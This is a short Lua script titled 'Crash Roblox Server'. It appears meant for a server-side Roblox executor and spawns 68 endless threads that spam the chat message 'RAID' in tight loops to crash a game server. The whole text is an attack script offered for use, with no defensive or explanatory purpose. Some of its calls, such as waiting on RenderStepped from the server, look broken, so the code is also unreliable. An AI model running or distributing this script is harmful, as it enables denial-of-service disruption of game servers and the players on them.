Crash Roblox Server

if game:GetService("RunService"):IsClient() then --if the excutor is ClientSided then make an error and dont excute the script it will
--crash the client only
    error("This script is ServerSided and your excutor is ClientSided.")
end

if game:GetService("RunService"):IsServer() then --but if the excutor is ServerSided then print and excute the script
    print("Hold on while the script is being excuted.")
    for i=1, 68 do
        spawn(function()
            while true do
                game:service("RunService").RenderStepped:wait()
                for i=1, 64 do
                    game:service("Players"):Chat("RAID")
                    game:service("Players"):Chat("RAID")
                    game:service("Players"):Chat("RAID")
                    game:service("Players"):Chat("RAID")
                    game:service("Players"):Chat("RAID")
                    game:service("Players"):Chat("RAID")
                    game:service("Players"):Chat("RAID")
                end
            end
            print("done?")
        end)
    end
end